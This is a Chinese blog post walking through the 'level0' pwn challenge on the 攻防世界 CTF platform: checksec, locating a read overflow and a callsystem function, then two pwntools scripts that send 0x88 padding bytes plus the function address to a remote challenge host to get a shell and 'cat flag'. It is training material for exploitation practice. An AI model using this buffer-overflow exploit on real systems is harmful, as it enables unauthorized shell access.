攻防世界|level0|

先用checksec扫一下,发现可能出现堆栈溢出
image
image
image
image
image

image
image
e60ed1de757cf197c16dd9830508057b
ca394add3b794257648d4bbc43185a49

image
问题回到read,既然知道现在我们能通过溢出让系统read,但它到底要read个啥?自问自答一波肯定是flag,但程序中好像也没有直接能在system中cat flag的函数,那就尝试找一个类似的函数。

看到左侧有一个callsystem函数

4626b5b539d55268333df348bf81f661

双击进去后发现函数能拿到bin/sh的权限,针不戳,于是去Exports窗口找该函数的地址
94b23ed0ba5acfaa32e7d2ba97285820

image




python脚本如下:

点击查看代码
from pwn import *
r = remote("61.147.171.105", 61920)
r.recvuntil(b"Hello, World\n")
payload = b'a'*0x88 + p64(0x00400596) #堵死0x88个空间然后拼接上callsystem函数地址
r.sendline(payload)     #发送,并自动换行
r.interactive()


'''
第二种代码

from pwn import *
p=remote("61.147.171.105", 61920)
payload = b'a'*0x88+p64(0x0000000000400596)
p.sendline(payload)
p.interactive()

'''

image

注意:交互成功后要自己 ls ; cat flag

posted @ 2025-08-24 15:50  Dragon_Roar  阅读(1)  评论(0)    收藏  举报